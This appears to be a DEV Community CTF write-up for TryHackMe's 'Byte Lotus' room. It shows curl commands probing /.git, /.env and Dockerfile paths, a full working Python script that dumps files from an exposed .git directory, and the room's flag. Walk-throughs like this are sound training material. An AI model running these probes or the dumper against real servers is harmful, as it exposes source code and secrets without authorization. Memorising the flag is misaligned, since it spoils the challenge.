DEV Community

Cover image for [TryHackMe Writeup] Room 404
Wahiduddin Samani
Wahiduddin Samani

Posted on

[TryHackMe Writeup] Room 404

=============================================================

Byte Lotus .git Source Code Disclosure — Full Command Log

=============================================================

Target: http://MACHINE_IP:8080

---- Step 1: Initial Recon ----

Fetch homepage with headers

curl.exe -s -i http://MACHINE_IP:8080

Check robots.txt

curl.exe -s http://MACHINE_IP:8080/robots.txt

---- Step 2: .git Exposure Check ----

Check .git/config

curl.exe -s -o NUL -w "%{http_code}`n" http://MACHINE_IP:8080/.git/config

Check .git/HEAD

curl.exe -s http://MACHINE_IP:8080/.git/HEAD

Check other common paths

curl.exe -s -o NUL -w "%{http_code}n" http://MACHINE_IP:8080/.env
curl.exe -s -o NUL -w "%{http_code}
n" http://MACHINE_IP:8080/Dockerfile

---- Step 3: Git Object Traversal ----

Fetch commit object (from HEAD ref)

curl.exe -s http://MACHINE_IP:8080/.git/objects/0f/13550b4cb13e9f30c61d5b342c532d21e45bda | `
python -c "import zlib,sys; data=zlib.decompress(sys.stdin.buffer.read()); print(data.decode())"

Extract tree hash -> fa45dbd69394ea9e13683d9efb6a0220daac59d4

Fetch tree object

curl.exe -s http://MACHINE_IP:8080/.git/objects/fa/45dbd69394ea9e13683d9efb6a0220daac59d4 | `
python -c "import zlib,sys; data=zlib.decompress(sys.stdin.buffer.read()); null=data.find(b'\x00'); print(data[null+1:])"

---- Step 4: Retrieve Files ----

README.md (contains flag)

curl.exe -s http://MACHINE_IP:8080/.git/objects/a5/965c580fee91d852e5b19a8290da02d2926523 | `
python -c "import zlib,sys; data=zlib.decompress(sys.stdin.buffer.read()); null=data.find(b'\x00'); print(data[null+1:].decode())"

app.js

curl.exe -s http://MACHINE_IP:8080/.git/objects/25/75ab073f67615a27135663ed36794c2d2584fb | `
python -c "import zlib,sys; data=zlib.decompress(sys.stdin.buffer.read()); null=data.find(b'\x00'); print(data[null+1:].decode())"

index.html

curl.exe -s http://MACHINE_IP:8080/.git/objects/0a/12caa4e52a965e89e5eccf5760924b21aacbf7 | `
python -c "import zlib,sys; data=zlib.decompress(sys.stdin.buffer.read()); null=data.find(b'\x00'); print(data[null+1:].decode())"

---- Step 5: Alternative - Use Python dumper script ----

python git_dump.py http://MACHINE_IP:8080 ./dump_output

# GIT DUMPER - Fetches files from an exposed .git directory
# Usage: python git_dump.py <base_url> <output_dir>

import urllib.request
import zlib
import os
import sys

BASE = sys.argv[1].rstrip('/')
OUT = sys.argv[2]

def fetch_obj(sha):
    path = f"/.git/objects/{sha[:2]}/{sha[2:]}"
    url = BASE + path
    try:
        resp = urllib.request.urlopen(url)
        return resp.read()
    except Exception as e:
        print(f"  FAIL: {url} -> {e}")
        return None

def write_file(path, data):
    full = os.path.join(OUT, path)
    os.makedirs(os.path.dirname(full), exist_ok=True)
    with open(full, 'wb') as f:
        f.write(data)

def parse_tree(data):
    null = data.find(b'\x00')
    content = data[null+1:]
    entries = []
    i = 0
    while i < len(content):
        space = content.find(b' ', i)
        mode = content[i:space].decode()
        null2 = content.find(b'\x00', space+1)
        name = content[space+1:null2].decode()
        sha_start = null2 + 1
        sha = content[sha_start:sha_start+20].hex()
        entries.append((mode, name, sha))
        i = sha_start + 20
    return entries

# Read HEAD
head_raw = urllib.request.urlopen(BASE + '/.git/HEAD').read().decode().strip()
print(f"HEAD: {head_raw}")

if head_raw.startswith('ref: '):
    ref_path = head_raw[5:]
    commit_hash = urllib.request.urlopen(BASE + '/.git/' + ref_path).read().decode().strip()
else:
    commit_hash = head_raw

print(f"Commit hash: {commit_hash}")

# Fetch commit
commit_raw = fetch_obj(commit_hash)
commit_data = zlib.decompress(commit_raw).decode()
print(f"Commit:\n{commit_data}")

for line in commit_data.split('\n'):
    if line.startswith('tree '):
        tree_hash = line.split()[1]
        break

print(f"Tree hash: {tree_hash}")

# Fetch tree
tree_raw = fetch_obj(tree_hash)
tree_data = zlib.decompress(tree_raw)
entries = parse_tree(tree_data)

downloaded = []
for mode, name, sha in entries:
    print(f"  {mode} {name} -> {sha}")
    if mode in ('100644', '100664'):
        blob_raw = fetch_obj(sha)
        if blob_raw:
            blob_data = zlib.decompress(blob_raw)
            null = blob_data.find(b'\x00')
            content = blob_data[null+1:]
            write_file(name, content)
            downloaded.append(name)
            print(f"    -> Written {name} ({len(content)} bytes)")

print(f"\nDownloaded: {', '.join(downloaded)}")

Enter fullscreen mode Exit fullscreen mode

Byte Lotus — .git Source Code Disclosure

Target: http://MACHINE_IP:8080
Category: Web
Difficulty: Very Easy
Flag: THM{byt3_l0tus_n3v3r_f0rg3ts}


Step-by-Step

Step 1 — Initial Reconnaissance

Check the homepage and response headers to identify the tech stack.

curl.exe -s -i http://MACHINE_IP:8080
Enter fullscreen mode Exit fullscreen mode

Finding: Werkzeug/3.0.1 Python/3.12.3 — Flask/Python app. Footer reads "build staging", suggesting a development build with possible source exposure.

Also checked /robots.txt — returned 404 (nothing there).


Step 2 — Check for .git Exposure

Check common source-code disclosure paths.

curl.exe -s -o NUL -w "%{http_code}" http://MACHINE_IP:8080/.git/config
curl.exe -s http://MACHINE_IP:8080/.git/HEAD
Enter fullscreen mode Exit fullscreen mode

Finding: /.git/config → 200 OK. /.git/HEADref: refs/heads/main

The entire .git directory is exposed.


Step 3 — Dump the Git Repository

Fetch the commit object to find the tree hash, then walk the tree to find file blobs.

curl.exe -s http://MACHINE_IP:8080/.git/objects/0f/13550b4cb13e9f30c61d5b342c532d21e45bda
Enter fullscreen mode Exit fullscreen mode

Decompress the commit object to extract the tree hash: fa45dbd69394ea9e13683d9efb6a0220daac59d4

Fetch and parse the tree object:

curl.exe -s http://MACHINE_IP:8080/.git/objects/fa/45dbd69394ea9e13683d9efb6a0220daac59d4
Enter fullscreen mode Exit fullscreen mode

Tree contents:
| Mode | File | Hash |
|------|------|------|
| 100644 | README.md | a5965c580fee91d852e5b19a8290da02d2926523 |
| 100644 | app.js | 2575ab073f67615a27135663ed36794c2d2584fb |
| 100644 | index.html | 0a12caa4e52a965e89e5eccf5760924b21aacbf7 |


Step 4 — Fetch and Read Each File

README.md — contained the flag:

curl.exe -s http://MACHINE_IP:8080/.git/objects/a5/965c580fee91d852e5b19a8290da02d2926523 | python -c "import zlib,sys; data=zlib.decompress(sys.stdin.buffer.read()); null=data.find(b'\x00'); print(data[null+1:].decode())"
Enter fullscreen mode Exit fullscreen mode

Output:

# Byte Lotus — Guest Experience Platform

Internal staging repository for the guest app and concierge personalization
service. Do not deploy this folder to production.

Staging flag (remove before launch): THM{byt3_l0tus_n3v3r_f0rg3ts}
Enter fullscreen mode Exit fullscreen mode

app.js — front-end stub, no flag.

index.html — same as the homepage, no flag.


Tools Used

  • curl.exe — HTTP requests
  • python3 — decompress git objects (zlib)
  • Manual git object traversal (commit → tree → blobs)

Vulnerability

A /.git directory exposed on a staging server. The developer committed a "remove before launch" flag directly in README.md, and the production deployment left the .git metadata accessible.

Top comments (0)